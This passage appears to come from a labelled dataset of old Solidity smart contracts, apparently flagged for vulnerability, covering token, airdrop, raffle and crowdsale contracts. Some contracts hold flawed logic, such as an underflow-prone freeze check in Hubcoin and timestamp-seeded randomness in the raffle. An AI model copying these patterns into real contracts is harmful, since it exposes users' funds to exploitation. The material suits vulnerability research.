function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract BitrueRaffleNumber is usingOraclize,owned {
event newRandomNumber_uint(uint random);
uint public currentDate;
mapping (uint => uint) public dateMapNumber;
constructor() {
oraclize_setProof(proofType_Ledger);
}
function __callback(bytes32 _queryId, string _result, bytes _proof)
{
require(msg.sender == oraclize_cbAddress());
require(oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0);
uint n1 = uint(sha3(_result)) % 10000;
uint n2 = uint(sha3(uint(sha3(_result))+now)) % 20;
uint finalNumber = n1 * 100 + n2;
dateMapNumber[currentDate] = finalNumber;
emit newRandomNumber_uint(finalNumber);
}
function generateN(uint d) onlyOwner public payable{
require(dateMapNumber[d]==0);
currentDate = d;
uint N = 7;
uint delay = 0;
uint callbackGas = 500000;
oraclize_newRandomDSQuery(delay, N, callbackGas);
}
function withdrawEther(uint256 amount) onlyOwner public {
msg.sender.transfer(amount);
}
function() external payable {
}
} | 0 | 567 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable, RBAC {
string public constant ROLE_ADMINISTRATOR = "administrator";
modifier whenNotPausedOrAuthorized() {
require(!paused || hasRole(msg.sender, ROLE_ADMINISTRATOR));
_;
}
function addAdministrator(address _administrator) onlyOwner public returns (bool) {
if (isAdministrator(_administrator)) {
return false;
} else {
addRole(_administrator, ROLE_ADMINISTRATOR);
return true;
}
}
function removeAdministrator(address _administrator) onlyOwner public returns (bool) {
if (isAdministrator(_administrator)) {
removeRole(_administrator, ROLE_ADMINISTRATOR);
return true;
} else {
return false;
}
}
function isAdministrator(address _administrator) public view returns (bool) {
return hasRole(_administrator, ROLE_ADMINISTRATOR);
}
function transfer(address _to, uint256 _value) public whenNotPausedOrAuthorized returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPausedOrAuthorized returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BlockFollowToken is DetailedERC20, PausableToken, BurnableToken {
uint256 public initialTotalSupply;
constructor() public DetailedERC20("BlockFollow Network", "BFN", 8)
{
initialTotalSupply = 210e6 * (uint256(10) ** decimals);
totalSupply_ = initialTotalSupply;
balances[msg.sender] = initialTotalSupply;
emit Transfer(address(0), msg.sender, initialTotalSupply);
}
} | 1 | 3,070 |
pragma solidity ^0.4.19;
contract BaseToken {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract CustomToken is BaseToken {
function CustomToken() public {
totalSupply = 210000000000000000000000000;
name = '应用链';
symbol = 'IRC';
decimals = 18;
balanceOf[0x961bFBB9429A2c42296EE6Fc5f59D11d4E1ce3a7] = totalSupply;
Transfer(address(0), 0x961bFBB9429A2c42296EE6Fc5f59D11d4E1ce3a7, totalSupply);
}
} | 1 | 3,931 |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract AirDrop is Ownable {
Token token;
event TransferredToken(address indexed to, uint256 value);
event FailedTransfer(address indexed to, uint256 value);
modifier whenDropIsActive() {
assert(isActive());
_;
}
function AirDrop () {
address _tokenAddr = 0xC77A91BEF771a0b62A81ef776BC5071713025dDe;
token = Token(_tokenAddr);
}
function isActive() constant returns (bool) {
return (
tokensAvailable() > 0
);
}
function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external {
uint256 i = 0;
while (i < dests.length) {
uint256 toSend = values[i] * 10**18;
sendInternally(dests[i] , toSend, values[i]);
i++;
}
}
function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external {
uint256 i = 0;
uint256 toSend = value * 10**18;
while (i < dests.length) {
sendInternally(dests[i] , toSend, value);
i++;
}
}
function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal {
if(recipient == address(0)) return;
if(tokensAvailable() >= tokensToSend) {
token.transfer(recipient, tokensToSend);
TransferredToken(recipient, valueToPresent);
} else {
FailedTransfer(recipient, valueToPresent);
}
}
function tokensAvailable() constant returns (uint256) {
return token.balanceOf(this);
}
function destroy() onlyOwner {
uint256 balance = tokensAvailable();
require (balance > 0);
token.transfer(owner, balance);
selfdestruct(owner);
}
} | 0 | 864 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract Hubcoin is StandardToken, Pausable {
string public constant name = 'Hubcoin';
string public constant symbol = 'HUB';
uint8 public constant decimals = 6;
uint256 public constant INITIAL_SUPPLY = 107336 * 10**uint256(decimals);
uint256 public constant total_freeze_term = 86400*365;
uint256 public constant launch_date = 1501545600;
uint256 public constant owner_freeze_start = 1507918487;
uint256 public constant owner_freeze_term = 3600*24;
mapping (address => uint256) public frozenAccount;
event FrozenFunds(address target, uint256 frozen);
event Burn(address burner, uint256 burned);
function Hubcoin() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function freezeAccount(address target, uint256 freeze) onlyOwner {
require(block.timestamp < (owner_freeze_start + owner_freeze_term));
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function freezeCheck(address _from, uint256 _value) returns (bool) {
uint forbiddenPremine = launch_date - block.timestamp + total_freeze_term;
if (forbiddenPremine > 0) {
require(balances[_from] >= _value.add( frozenAccount[_from] * forbiddenPremine / total_freeze_term) );
}
return true;
}
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
} | 1 | 5,363 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "KartingCoins";
string constant TOKEN_SYMBOL = "KRTC";
bool constant PAUSED = false;
address constant TARGET_USER = 0x67b8AbF0FA3B6E3a94B84184C37d20A9D69dbB55;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x15ae04d2aaf288e8826e3b2bcdf044f45489b6a7)];
uint[1] memory amounts = [uint(1000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 3,882 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
